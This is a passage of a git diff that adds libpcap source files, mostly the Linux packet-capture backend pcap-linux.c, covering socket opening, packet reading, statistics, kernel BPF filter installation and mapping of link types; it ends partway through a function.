*, u_int, const char *, char *); +struct sockaddr *dup_sockaddr(struct sockaddr *, size_t); +int add_or_find_if(pcap_if_t **, pcap_if_t **, char *, u_int, + const char *, char *); + +#ifdef linux +void pcap_close_linux(pcap_t *); +#endif + +#ifdef VMS +void pcap_close_vms(pcap_t *); +#endif + +#ifdef WIN32 +char *pcap_win32strerror(void); +#endif + +/* XXX */ +extern int pcap_fddipad; + +int install_bpf_program(pcap_t *, struct bpf_program *); + +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/Pcap-VMS/pcap-vci/pcap-linux.c b/Pcap-VMS/pcap-vci/pcap-linux.c new file mode 100644 index 00000000..9d7d00d3 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-linux.c @@ -0,0 +1,1936 @@ +/* + * pcap-linux.c: Packet capture interface to the Linux kernel + * + * Copyright (c) 2000 Torsten Landschoff + * Sebastian Krahmer + * + * License: BSD + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. The names of the authors may not be used to endorse or promote + * products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-linux.c,v 1.85 2002/10/18 08:46:14 guy Exp $ (LBL)"; +#endif + +/* + * Known problems with 2.0[.x] kernels: + * + * - The loopback device gives every packet twice; on 2.2[.x] kernels, + * if we use PF_PACKET, we can filter out the transmitted version + * of the packet by using data in the "sockaddr_ll" returned by + * "recvfrom()", but, on 2.0[.x] kernels, we have to use + * PF_INET/SOCK_PACKET, which means "recvfrom()" supplies a + * "sockaddr_pkt" which doesn't give us enough information to let + * us do that. + * + * - We have to set the interface's IFF_PROMISC flag ourselves, if + * we're to run in promiscuous mode, which means we have to turn + * it off ourselves when we're done; the kernel doesn't keep track + * of how many sockets are listening promiscuously, which means + * it won't get turned off automatically when no sockets are + * listening promiscuously. We catch "pcap_close()" and, for + * interfaces we put into promiscuous mode, take them out of + * promiscuous mode - which isn't necessarily the right thing to + * do, if another socket also requested promiscuous mode between + * the time when we opened the socket and the time when we close + * the socket. + * + * - MSG_TRUNC isn't supported, so you can't specify that "recvfrom()" + * return the amount of data that you could have read, rather than + * the amount that was returned, so we can't just allocate a buffer + * whose size is the snapshot length and pass the snapshot length + * as the byte count, and also pass MSG_TRUNC, so that the return + * value tells us how long the packet was on the wire. + * + * This means that, if we want to get the actual size of the packet, + * so we can return it in the "len" field of the packet header, + * we have to read the entire packet, not just the part that fits + * within the snapshot length, and thus waste CPU time copying data + * from the kernel that our caller won't see. + * + * We have to get the actual size, and supply it in "len", because + * otherwise, the IP dissector in tcpdump, for example, will complain + * about "truncated-ip", as the packet will appear to have been + * shorter, on the wire, than the IP header said it should have been. + */ + + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include "pcap-int.h" +#include "sll.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * If PF_PACKET is defined, we can use {SOCK_RAW,SOCK_DGRAM}/PF_PACKET + * sockets rather than SOCK_PACKET sockets. + * + * To use them, we include rather than + * ; we do so because + * + * some Linux distributions (e.g., Slackware 4.0) have 2.2 or + * later kernels and libc5, and don't provide a + * file; + * + * not all versions of glibc2 have a file + * that defines stuff needed for some of the 2.4-or-later-kernel + * features, so if the system has a 2.4 or later kernel, we + * still can't use those features. + * + * We're already including a number of other headers, and + * this code is Linux-specific (no other OS has PF_PACKET sockets as + * a raw packet capture mechanism), so it's not as if you gain any + * useful portability by using + * + * XXX - should we just include even if PF_PACKET + * isn't defined? It only defines one data structure in 2.0.x, so + * it shouldn't cause any problems. + */ +#ifdef PF_PACKET +# include + + /* + * On at least some Linux distributions (for example, Red Hat 5.2), + * there's no file, but PF_PACKET is defined if + * you include , but doesn't define + * any of the PF_PACKET stuff such as "struct sockaddr_ll" or any of + * the PACKET_xxx stuff. + * + * So we check whether PACKET_HOST is defined, and assume that we have + * PF_PACKET sockets only if it is defined. + */ +# ifdef PACKET_HOST +# define HAVE_PF_PACKET_SOCKETS +# endif /* PACKET_HOST */ +#endif /* PF_PACKET */ + +#ifdef SO_ATTACH_FILTER +#include +#include +#endif + +#ifndef __GLIBC__ +typedef int socklen_t; +#endif + +#ifndef MSG_TRUNC +/* + * This is being compiled on a system that lacks MSG_TRUNC; define it + * with the value it has in the 2.2 and later kernels, so that, on + * those kernels, when we pass it in the flags argument to "recvfrom()" + * we're passing the right value and thus get the MSG_TRUNC behavior + * we want. (We don't get that behavior on 2.0[.x] kernels, because + * they didn't support MSG_TRUNC.) + */ +#define MSG_TRUNC 0x20 +#endif + +#ifndef SOL_PACKET +/* + * This is being compiled on a system that lacks SOL_PACKET; define it + * with the value it has in the 2.2 and later kernels, so that we can + * set promiscuous mode in the good modern way rather than the old + * 2.0-kernel crappy way. + */ +#define SOL_PACKET 263 +#endif + +#define MAX_LINKHEADER_SIZE 256 + +/* + * When capturing on all interfaces we use this as the buffer size. + * Should be bigger then all MTUs that occur in real life. + * 64kB should be enough for now. + */ +#define BIGGER_THAN_ALL_MTUS (64*1024) + +/* + * Prototypes for internal functions + */ +static void map_arphrd_to_dlt(pcap_t *, int, int); +static int live_open_old(pcap_t *, char *, int, int, char *); +static int live_open_new(pcap_t *, char *, int, int, char *); +static int pcap_read_packet(pcap_t *, pcap_handler, u_char *); + +/* + * Wrap some ioctl calls + */ +#ifdef HAVE_PF_PACKET_SOCKETS +static int iface_get_id(int fd, const char *device, char *ebuf); +#endif +static int iface_get_mtu(int fd, const char *device, char *ebuf); +static int iface_get_arptype(int fd, const char *device, char *ebuf); +#ifdef HAVE_PF_PACKET_SOCKETS +static int iface_bind(int fd, int ifindex, char *ebuf); +#endif +static int iface_bind_old(int fd, const char *device, char *ebuf); + +#ifdef SO_ATTACH_FILTER +static int fix_program(pcap_t *handle, struct sock_fprog *fcode); +static int fix_offset(struct bpf_insn *p); +static int set_kernel_filter(pcap_t *handle, struct sock_fprog *fcode); +static int reset_kernel_filter(pcap_t *handle); + +static struct sock_filter total_insn + = BPF_STMT(BPF_RET | BPF_K, 0); +static struct sock_fprog total_fcode + = { 1, &total_insn }; +#endif + +/* + * Get a handle for a live capture from the given device. You can + * pass NULL as device to get all packages (without link level + * information of course). If you pass 1 as promisc the interface + * will be set to promiscous mode (XXX: I think this usage should + * be deprecated and functions be added to select that later allow + * modification of that values -- Torsten). + * + * See also pcap(3). + */ +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + pcap_t *handle; + int mtu; + int err; + int live_open_ok = 0; + struct utsname utsname; + + /* Allocate a handle for this session. */ + + handle = malloc(sizeof(*handle)); + if (handle == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", + pcap_strerror(errno)); + return NULL; + } + + /* Initialize some components of the pcap structure. */ + + memset(handle, 0, sizeof(*handle)); + handle->snapshot = snaplen; + handle->md.timeout = to_ms; + + /* + * NULL and "any" are special devices which give us the hint to + * monitor all devices. + */ + if (!device || strcmp(device, "any") == 0) { + device = NULL; + handle->md.device = strdup("any"); + if (promisc) { + promisc = 0; + /* Just a warning. */ + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "Promiscuous mode not supported on the \"any\" device"); + } + + } else + handle->md.device = strdup(device); + + if (handle->md.device == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "strdup: %s", + pcap_strerror(errno) ); + free(handle); + return NULL; + } + + /* + * Current Linux kernels use the protocol family PF_PACKET to + * allow direct access to all packets on the network while + * older kernels had a special socket type SOCK_PACKET to + * implement this feature. + * While this old implementation is kind of obsolete we need + * to be compatible with older kernels for a while so we are + * trying both methods with the newer method preferred. + */ + + if ((err = live_open_new(handle, device, promisc, to_ms, ebuf)) == 1) + live_open_ok = 1; + else if (err == 0) { + /* Non-fatal error; try old way */ + if (live_open_old(handle, device, promisc, to_ms, ebuf)) + live_open_ok = 1; + } + if (!live_open_ok) { + /* + * Both methods to open the packet socket failed. Tidy + * up and report our failure (ebuf is expected to be + * set by the functions above). + */ + + if (handle->md.device != NULL) + free(handle->md.device); + free(handle); + return NULL; + } + + /* + * Compute the buffer size. + * + * If we're using SOCK_PACKET, this might be a 2.0[.x] kernel, + * and might require special handling - check. + */ + if (handle->md.sock_packet && (uname(&utsname) < 0 || + strncmp(utsname.release, "2.0", 3) == 0)) { + /* + * We're using a SOCK_PACKET structure, and either + * we couldn't find out what kernel release this is, + * or it's a 2.0[.x] kernel. + * + * In the 2.0[.x] kernel, a "recvfrom()" on + * a SOCK_PACKET socket, with MSG_TRUNC set, will + * return the number of bytes read, so if we pass + * a length based on the snapshot length, it'll + * return the number of bytes from the packet + * copied to userland, not the actual length + * of the packet. + * + * This means that, for example, the IP dissector + * in tcpdump will get handed a packet length less + * than the length in the IP header, and will + * complain about "truncated-ip". + * + * So we don't bother trying to copy from the + * kernel only the bytes in which we're interested, + * but instead copy them all, just as the older + * versions of libpcap for Linux did. + * + * The buffer therefore needs to be big enough to + * hold the largest packet we can get from this + * device. Unfortunately, we can't get the MRU + * of the network; we can only get the MTU. The + * MTU may be too small, in which case a packet larger + * than the buffer size will be truncated *and* we + * won't get the actual packet size. + * + * However, if the snapshot length is larger than + * the buffer size based on the MTU, we use the + * snapshot length as the buffer size, instead; + * this means that with a sufficiently large snapshot + * length we won't artificially truncate packets + * to the MTU-based size. + * + * This mess just one of many problems with packet + * capture on 2.0[.x] kernels; you really want a + * 2.2[.x] or later kernel if you want packet capture + * to work well. + */ + mtu = iface_get_mtu(handle->fd, device, ebuf); + if (mtu == -1) { + if (handle->md.clear_promisc) + /* 2.0.x kernel */ + pcap_close_linux(handle); + close(handle->fd); + if (handle->md.device != NULL) + free(handle->md.device); + free(handle); + return NULL; + } + handle->bufsize = MAX_LINKHEADER_SIZE + mtu; + if (handle->bufsize < handle->snapshot) + handle->bufsize = handle->snapshot; + } else { + /* + * This is a 2.2[.x] or later kernel (we know that + * either because we're not using a SOCK_PACKET + * socket - PF_PACKET is supported only in 2.2 + * and later kernels - or because we checked the + * kernel version). + * + * We can safely pass "recvfrom()" a byte count + * based on the snapshot length. + */ + handle->bufsize = handle->snapshot; + } + + /* Allocate the buffer */ + + handle->buffer = malloc(handle->bufsize + handle->offset); + if (!handle->buffer) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + if (handle->md.clear_promisc) + /* 2.0.x kernel */ + pcap_close_linux(handle); + close(handle->fd); + if (handle->md.device != NULL) + free(handle->md.device); + free(handle); + return NULL; + } + + return handle; +} + +/* + * Read at most max_packets from the capture stream and call the callback + * for each of them. Returns the number of packets handled or -1 if an + * error occured. + */ +int +pcap_read(pcap_t *handle, int max_packets, pcap_handler callback, u_char *user) +{ + /* + * Currently, on Linux only one packet is delivered per read, + * so we don't loop. + */ + return pcap_read_packet(handle, callback, user); +} + +/* + * Read a packet from the socket calling the handler provided by + * the user. Returns the number of packets received or -1 if an + * error occured. + */ +static int +pcap_read_packet(pcap_t *handle, pcap_handler callback, u_char *userdata) +{ + u_char *bp; + int offset; +#ifdef HAVE_PF_PACKET_SOCKETS + struct sockaddr_ll from; + struct sll_header *hdrp; +#else + struct sockaddr from; +#endif + socklen_t fromlen; + int packet_len, caplen; + struct pcap_pkthdr pcap_header; + +#ifdef HAVE_PF_PACKET_SOCKETS + /* + * If this is a cooked device, leave extra room for a + * fake packet header. + */ + if (handle->md.cooked) + offset = SLL_HDR_LEN; + else + offset = 0; +#else + /* + * This system doesn't have PF_PACKET sockets, so it doesn't + * support cooked devices. + */ + offset = 0; +#endif + + /* Receive a single packet from the kernel */ + + bp = handle->buffer + handle->offset; + do { + fromlen = sizeof(from); + packet_len = recvfrom( + handle->fd, bp + offset, + handle->bufsize - offset, MSG_TRUNC, + (struct sockaddr *) &from, &fromlen); + } while (packet_len == -1 && errno == EINTR); + + /* Check if an error occured */ + + if (packet_len == -1) { + if (errno == EAGAIN) + return 0; /* no packet there */ + else { + snprintf(handle->errbuf, sizeof(handle->errbuf), + "recvfrom: %s", pcap_strerror(errno)); + return -1; + } + } + +#ifdef HAVE_PF_PACKET_SOCKETS + /* + * If this is from the loopback device, reject outgoing packets; + * we'll see the packet as an incoming packet as well, and + * we don't want to see it twice. + * + * We can only do this if we're using PF_PACKET; the address + * returned for SOCK_PACKET is a "sockaddr_pkt" which lacks + * the relevant packet type information. + */ + if (!handle->md.sock_packet && + from.sll_ifindex == handle->md.lo_ifindex && + from.sll_pkttype == PACKET_OUTGOING) + return 0; +#endif + +#ifdef HAVE_PF_PACKET_SOCKETS + /* + * If this is a cooked device, fill in the fake packet header. + */ + if (handle->md.cooked) { + /* + * Add the length of the fake header to the length + * of packet data we read. + */ + packet_len += SLL_HDR_LEN; + + hdrp = (struct sll_header *)bp; + + /* + * Map the PACKET_ value to a LINUX_SLL_ value; we + * want the same numerical value to be used in + * the link-layer header even if the numerical values + * for the PACKET_ #defines change, so that programs + * that look at the packet type field will always be + * able to handle DLT_LINUX_SLL captures. + */ + switch (from.sll_pkttype) { + + case PACKET_HOST: + hdrp->sll_pkttype = htons(LINUX_SLL_HOST); + break; + + case PACKET_BROADCAST: + hdrp->sll_pkttype = htons(LINUX_SLL_BROADCAST); + break; + + case PACKET_MULTICAST: + hdrp->sll_pkttype = htons(LINUX_SLL_MULTICAST); + break; + + case PACKET_OTHERHOST: + hdrp->sll_pkttype = htons(LINUX_SLL_OTHERHOST); + break; + + case PACKET_OUTGOING: + hdrp->sll_pkttype = htons(LINUX_SLL_OUTGOING); + break; + + default: + hdrp->sll_pkttype = -1; + break; + } + + hdrp->sll_hatype = htons(from.sll_hatype); + hdrp->sll_halen = htons(from.sll_halen); + memcpy(hdrp->sll_addr, from.sll_addr, + (from.sll_halen > SLL_ADDRLEN) ? + SLL_ADDRLEN : + from.sll_halen); + hdrp->sll_protocol = from.sll_protocol; + } +#endif + + /* + * XXX: According to the kernel source we should get the real + * packet len if calling recvfrom with MSG_TRUNC set. It does + * not seem to work here :(, but it is supported by this code + * anyway. + * To be honest the code RELIES on that feature so this is really + * broken with 2.2.x kernels. + * I spend a day to figure out what's going on and I found out + * that the following is happening: + * + * The packet comes from a random interface and the packet_rcv + * hook is called with a clone of the packet. That code inserts + * the packet into the receive queue of the packet socket. + * If a filter is attached to that socket that filter is run + * first - and there lies the problem. The default filter always + * cuts the packet at the snaplen: + * + * # tcpdump -d + * (000) ret #68 + * + * So the packet filter cuts down the packet. The recvfrom call + * says "hey, it's only 68 bytes, it fits into the buffer" with + * the result that we don't get the real packet length. This + * is valid at least until kernel 2.2.17pre6. + * + * We currently handle this by making a copy of the filter + * program, fixing all "ret" instructions with non-zero + * operands to have an operand of 65535 so that the filter + * doesn't truncate the packet, and supplying that modified + * filter to the kernel. + */ + + caplen = packet_len; + if (caplen > handle->snapshot) + caplen = handle->snapshot; + + /* Run the packet filter if not using kernel filter */ + if (!handle->md.use_bpf && handle->fcode.bf_insns) { + if (bpf_filter(handle->fcode.bf_insns, bp, + packet_len, caplen) == 0) + { + /* rejected by filter */ + return 0; + } + } + + /* Fill in our own header data */ + + if (ioctl(handle->fd, SIOCGSTAMP, &pcap_header.ts) == -1) { + snprintf(handle->errbuf, sizeof(handle->errbuf), + "ioctl: %s", pcap_strerror(errno)); + return -1; + } + pcap_header.caplen = caplen; + pcap_header.len = packet_len; + + /* + * Count the packet. + * + * Arguably, we should count them before we check the filter, + * as on many other platforms "ps_recv" counts packets + * handed to the filter rather than packets that passed + * the filter, but if filtering is done in the kernel, we + * can't get a count of packets that passed the filter, + * and that would mean the meaning of "ps_recv" wouldn't + * be the same on all Linux systems. + * + * XXX - it's not the same on all systems in any case; + * ideally, we should have a "get the statistics" call + * that supplies more counts and indicates which of them + * it supplies, so that we supply a count of packets + * handed to the filter only on platforms where that + * information is available. + * + * We count them here even if we can get the packet count + * from the kernel, as we can only determine at run time + * whether we'll be able to get it from the kernel (if + * HAVE_TPACKET_STATS isn't defined, we can't get it from + * the kernel, but if it is defined, the library might + * have been built with a 2.4 or later kernel, but we + * might be running on a 2.2[.x] kernel without Alexey + * Kuznetzov's turbopacket patches, and thus the kernel + * might not be able to supply those statistics). We + * could, I guess, try, when opening the socket, to get + * the statistics, and if we can not increment the count + * here, but it's not clear that always incrementing + * the count is more expensive than always testing a flag + * in memory. + */ + handle->md.stat.ps_recv++; + + /* Call the user supplied callback function */ + callback(userdata, &pcap_header, bp); + + return 1; +} + +/* + * Get the statistics for the given packet capture handle. + * Reports the number of dropped packets iff the kernel supports + * the PACKET_STATISTICS "getsockopt()" argument (2.4 and later + * kernels, and 2.2[.x] kernels with Alexey Kuznetzov's turbopacket + * patches); otherwise, that information isn't available, and we lie + * and report 0 as the count of dropped packets. + */ +int +pcap_stats(pcap_t *handle, struct pcap_stat *stats) +{ +#ifdef HAVE_TPACKET_STATS + struct tpacket_stats kstats; + socklen_t len = sizeof (struct tpacket_stats); + + /* + * Try to get the packet counts from the kernel. + */ + if (getsockopt(handle->fd, SOL_PACKET, PACKET_STATISTICS, + &kstats, &len) > -1) { + /* + * In "linux/net/packet/af_packet.c", at least in the + * 2.4.9 kernel, "tp_packets" is incremented for every + * packet that passes the packet filter *and* is + * successfully queued on the socket; "tp_drops" is + * incremented for every packet dropped because there's + * not enough free space in the socket buffer. + * + * When the statistics are returned for a PACKET_STATISTICS + * "getsockopt()" call, "tp_drops" is added to "tp_packets", + * so that "tp_packets" counts all packets handed to + * the PF_PACKET socket, including packets dropped because + * there wasn't room on the socket buffer - but not + * including packets that didn't pass the filter. + * + * In the BSD BPF, the count of received packets is + * incremented for every packet handed to BPF, regardless + * of whether it passed the filter. + * + * We can't make "pcap_stats()" work the same on both + * platforms, but the best approximation is to return + * "tp_packets" as the count of packets and "tp_drops" + * as the count of drops. + */ + handle->md.stat.ps_recv = kstats.tp_packets; + handle->md.stat.ps_drop = kstats.tp_drops; + } + else + { + /* + * If the error was EOPNOTSUPP, fall through, so that + * if you build the library on a system with + * "struct tpacket_stats" and run it on a system + * that doesn't, it works as it does if the library + * is built on a system without "struct tpacket_stats". + */ + if (errno != EOPNOTSUPP) { + snprintf(handle->errbuf, PCAP_ERRBUF_SIZE, + "pcap_stats: %s", pcap_strerror(errno)); + return -1; + } + } +#endif + /* + * On systems where the PACKET_STATISTICS "getsockopt()" argument + * is supported on PF_PACKET sockets: + * + * "ps_recv" counts only packets that *passed* the filter, + * not packets that didn't pass the filter. This includes + * packets later dropped because we ran out of buffer space. + * + * "ps_drop" counts packets dropped because we ran out of + * buffer space. It doesn't count packets dropped by the + * interface driver. It counts only packets that passed + * the filter. + * + * Both statistics include packets not yet read from the + * kernel by libpcap, and thus not yet seen by the application. + * + * On systems where the PACKET_STATISTICS "getsockopt()" argument + * is not supported on PF_PACKET sockets: + * + * "ps_recv" counts only packets that *passed* the filter, + * not packets that didn't pass the filter. It does not + * count packets dropped because we ran out of buffer + * space. + * + * "ps_drop" is not supported. + * + * "ps_recv" doesn't include packets not yet read from + * the kernel by libpcap. + */ + *stats = handle->md.stat; + return 0; +} + +/* + * Description string for the "any" device. + */ +static const char any_descr[] = "Pseudo-device that captures on all interfaces"; + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + if (pcap_add_if(alldevsp, "any", 0, any_descr, errbuf) < 0) + return (-1); + + return (0); +} + +/* + * Attach the given BPF code to the packet capture device. + */ +int +pcap_setfilter(pcap_t *handle, struct bpf_program *filter) +{ +#ifdef SO_ATTACH_FILTER + struct sock_fprog fcode; + int can_filter_in_kernel; + int err = 0; +#endif + + if (!handle) + return -1; + if (!filter) { + strncpy(handle->errbuf, "setfilter: No filter specified", + sizeof(handle->errbuf)); + return -1; + } + + /* Make our private copy of the filter */ + + if (install_bpf_program(handle, filter) < 0) + /* install_bpf_program() filled in errbuf */ + return -1; + + /* + * Run user level packet filter by default. Will be overriden if + * installing a kernel filter succeeds. + */ + handle->md.use_bpf = 0; + + /* + * If we're reading from a savefile, don't try to install + * a kernel filter. + */ + if (handle->sf.rfile != NULL) + return 0; + + /* Install kernel level filter if possible */ + +#ifdef SO_ATTACH_FILTER +#ifdef USHRT_MAX + if (handle->fcode.bf_len > USHRT_MAX) { + /* + * fcode.len is an unsigned short for current kernel. + * I have yet to see BPF-Code with that much + * instructions but still it is possible. So for the + * sake of correctness I added this check. + */ + fprintf(stderr, "Warning: Filter too complex for kernel\n"); + fcode.filter = NULL; + can_filter_in_kernel = 0; + } else +#endif /* USHRT_MAX */ + { + /* + * Oh joy, the Linux kernel uses struct sock_fprog instead + * of struct bpf_program and of course the length field is + * of different size. Pointed out by Sebastian + * + * Oh, and we also need to fix it up so that all "ret" + * instructions with non-zero operands have 65535 as the + * operand, and so that, if we're in cooked mode, all + * memory-reference instructions use special magic offsets + * in references to the link-layer header and assume that + * the link-layer payload begins at 0; "fix_program()" + * will do that. + */ + switch (fix_program(handle, &fcode)) { + + case -1: + default: + /* + * Fatal error; just quit. + * (The "default" case shouldn't happen; we + * return -1 for that reason.) + */ + return -1; + + case 0: + /* + * The program performed checks that we can't make + * work in the kernel. + */ + can_filter_in_kernel = 0; + break; + + case 1: + /* + * We have a filter that'll work in the kernel. + */ + can_filter_in_kernel = 1; + break; + } + } + + if (can_filter_in_kernel) { + if ((err = set_kernel_filter(handle, &fcode)) == 0) + { + /* Installation succeded - using kernel filter. */ + handle->md.use_bpf = 1; + } + else if (err == -1) /* Non-fatal error */ + { + /* + * Print a warning if we weren't able to install + * the filter for a reason other than "this kernel + * isn't configured to support socket filters. + */ + if (errno != ENOPROTOOPT && errno != EOPNOTSUPP) { + fprintf(stderr, + "Warning: Kernel filter failed: %s\n", + pcap_strerror(errno)); + } + } + } + + /* + * If we're not using the kernel filter, get rid of any kernel + * filter that might've been there before, e.g. because the + * previous filter could work in the kernel, or because some other + * code attached a filter to the socket by some means other than + * calling "pcap_setfilter()". Otherwise, the kernel filter may + * filter out packets that would pass the new userland filter. + */ + if (!handle->md.use_bpf) + reset_kernel_filter(handle); + + /* + * Free up the copy of the filter that was made by "fix_program()". + */ + if (fcode.filter != NULL) + free(fcode.filter); + + if (err == -2) + /* Fatal error */ + return -1; +#endif /* SO_ATTACH_FILTER */ + + return 0; +} + +/* + * Linux uses the ARP hardware type to identify the type of an + * interface. pcap uses the DLT_xxx constants for this. This + * function takes a pointer to a "pcap_t", and an ARPHRD_xxx + * constant, as arguments, and sets "handle->linktype" to the + * appropriate DLT_XXX constant and sets "handle->offset" to + * the appropriate value (to make "handle->offset" plus link-layer + * header length be a multiple of 4, so that the link-layer payload + * will be aligned on a 4-byte boundary when capturing packets). + * (If the offset isn't set here, it'll be 0; add code as appropriate + * for cases where it shouldn't be 0.) + * + * If "cooked_ok" is non-zero, we can use DLT_LINUX_SLL and capture + * in cooked mode; otherwise, we can't use cooked mode, so we have + * to pick some type that works in raw mode, or fail. + * + * Sets the link type to -1 if unable to map the type. + */ +static void map_arphrd_to_dlt(pcap_t *handle, int arptype, int cooked_ok) +{ + switch (arptype) { + + case ARPHRD_ETHER: + case ARPHRD_METRICOM: + case ARPHRD_LOOPBACK: + handle->linktype = DLT_EN10MB; + handle->offset = 2; + break; + + case ARPHRD_EETHER: + handle->linktype = DLT_EN3MB; + break; + + case ARPHRD_AX25: + handle->linktype = DLT_AX25; + break; + + case ARPHRD_PRONET: + handle->linktype = DLT_PRONET; + break; + + case ARPHRD_CHAOS: + handle->linktype = DLT_CHAOS; + break; + +#ifndef ARPHRD_IEEE802_TR +#define ARPHRD_IEEE802_TR 800 /* From Linux 2.4 */ +#endif + case ARPHRD_IEEE802_TR: + case ARPHRD_IEEE802: + handle->linktype = DLT_IEEE802; + handle->offset = 2; + break; + + case ARPHRD_ARCNET: + handle->linktype = DLT_ARCNET; + break; + +#ifndef ARPHRD_FDDI /* From Linux 2.2.13 */ +#define ARPHRD_FDDI 774 +#endif + case ARPHRD_FDDI: + handle->linktype = DLT_FDDI; + handle->offset = 3; + break; + +#ifndef ARPHRD_ATM /* FIXME: How to #include this? */ +#define ARPHRD_ATM 19 +#endif + case ARPHRD_ATM: + /* + * The Classical IP implementation in ATM for Linux + * supports both what RFC 1483 calls "LLC Encapsulation", + * in which each packet has an LLC header, possibly + * with a SNAP header as well, prepended to it, and + * what RFC 1483 calls "VC Based Multiplexing", in which + * different virtual circuits carry different network + * layer protocols, and no header is prepended to packets. + * + * They both have an ARPHRD_ type of ARPHRD_ATM, so + * you can't use the ARPHRD_ type to find out whether + * captured packets will have an LLC header, and, + * while there's a socket ioctl to *set* the encapsulation + * type, there's no ioctl to *get* the encapsulation type. + * + * This means that + * + * programs that dissect Linux Classical IP frames + * would have to check for an LLC header and, + * depending on whether they see one or not, dissect + * the frame as LLC-encapsulated or as raw IP (I + * don't know whether there's any traffic other than + * IP that would show up on the socket, or whether + * there's any support for IPv6 in the Linux + * Classical IP code); + * + * filter expressions would have to compile into + * code that checks for an LLC header and does + * the right thing. + * + * Both of those are a nuisance - and, at least on systems + * that support PF_PACKET sockets, we don't have to put + * up with those nuisances; instead, we can just capture + * in cooked mode. That's what we'll do, if we can. + * Otherwise, we'll just fail. + */ + if (cooked_ok) + handle->linktype = DLT_LINUX_SLL; + else + handle->linktype = -1; + break; + +#ifndef ARPHRD_IEEE80211 /* From Linux 2.4.6 */ +#define ARPHRD_IEEE80211 801 +#endif + case ARPHRD_IEEE80211: + handle->linktype = DLT_IEEE802_11; + break; + +#ifndef ARPHRD_IEEE80211_PRISM /* From Linux 2.4.18 */ +#define ARPHRD_IEEE80211_PRISM 802 +#endif + case ARPHRD_IEEE80211_PRISM: + handle->linktype = DLT_PRISM_HEADER; + break; + + case ARPHRD_PPP: + /* + * Some PPP code in the kernel supplies no link-layer + * header whatsoever to PF_PACKET sockets; other PPP + * code supplies PPP link-layer headers ("syncppp.c"); + * some PPP code might supply random link-layer + * headers (PPP over ISDN - there's code in Ethereal, + * for example, to cope with PPP-over-ISDN captures + * with which the Ethereal developers have had to cope, + * heuristically trying to determine which of the + * oddball link-layer headers particular packets have). + * + * As such, we just punt, and run all PPP interfaces + * in cooked mode, if we can; otherwise, we just treat + * it as DLT_RAW, for now - if somebody needs to capture, + * on a 2.0[.x] kernel, on PPP devices that supply a + * link-layer header, they'll have to add code here to + * map to the appropriate DLT_ type (possibly adding a + * new DLT_ type, if necessary). + */ + if (cooked_ok) + handle->linktype = DLT_LINUX_SLL; + else { + /* + * XXX - handle ISDN types here? We can't fall + * back on cooked sockets, so we'd have to + * figure out from the device name what type of + * link-layer encapsulation it's using, and map + * that to an appropriate DLT_ value, meaning + * we'd map "isdnN" devices to DLT_RAW (they + * supply raw IP packets with no link-layer + * header) and "isdY" devices to a new DLT_I4L_IP + * type that has only an Ethernet packet type as + * a link-layer header. + * + * But sometimes we seem to get random crap + * in the link-layer header when capturing on + * ISDN devices.... + */ + handle->linktype = DLT_RAW; + } + break; + +#ifndef ARPHRD_HDLC +#define ARPHRD_HDLC 513 /* From Linux 2.2.13 */ +#endif + case ARPHRD_HDLC: + handle->linktype = DLT_C_HDLC; + break; + + /* Not sure if this is correct for all tunnels, but it + * works for CIPE */ + case ARPHRD_TUNNEL: +#ifndef ARPHRD_SIT +#define ARPHRD_SIT 776 /* From Linux 2.2.13 */ +#endif + case ARPHRD_SIT: + case ARPHRD_CSLIP: + case ARPHRD_SLIP6: + case ARPHRD_CSLIP6: + case ARPHRD_ADAPT: + case ARPHRD_SLIP: +#ifndef ARPHRD_RAWHDLC +#define ARPHRD_RAWHDLC 518 +#endif + case ARPHRD_RAWHDLC: + /* + * XXX - should some of those be mapped to DLT_LINUX_SLL + * instead? Should we just map all of them to DLT_LINUX_SLL? + */ + handle->linktype = DLT_RAW; + break; + + case ARPHRD_LOCALTLK: + handle->linktype = DLT_LTALK; + break; + +#ifndef ARPHRD_FCPP +#define ARPHRD_FCPP 784 +#endif + case ARPHRD_FCPP: +#ifndef ARPHRD_FCAL +#define ARPHRD_FCAL 785 +#endif + case ARPHRD_FCAL: +#ifndef ARPHRD_FCPL +#define ARPHRD_FCPL 786 +#endif + case ARPHRD_FCPL: +#ifndef ARPHRD_FCFABRIC +#define ARPHRD_FCFABRIC 787 +#endif + case ARPHRD_FCFABRIC: + /* + * We assume that those all mean RFC 2625 IP-over- + * Fibre Channel, with the RFC 2625 header at + * the beginning of the packet. + */ + handle->linktype = DLT_IP_OVER_FC; + break; + + default: + handle->linktype = -1; + break; + } +} + +/* ===== Functions to interface to the newer kernels ================== */ + +/* + * Try to open a packet socket using the new kernel interface. + * Returns 0 on failure. + * FIXME: 0 uses to mean success (Sebastian) + */ +static int +live_open_new(pcap_t *handle, char *device, int promisc, + int to_ms, char *ebuf) +{ +#ifdef HAVE_PF_PACKET_SOCKETS + int sock_fd = -1, device_id, arptype; + int err; + int fatal_err = 0; + struct packet_mreq mr; + + /* One shot loop used for error handling - bail out with break */ + + do { + /* + * Open a socket with protocol family packet. If a device is + * given we try to open it in raw mode otherwise we use + * the cooked interface. + */ + sock_fd = device ? + socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) + : socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL)); + + if (sock_fd == -1) { + snprintf(ebuf, 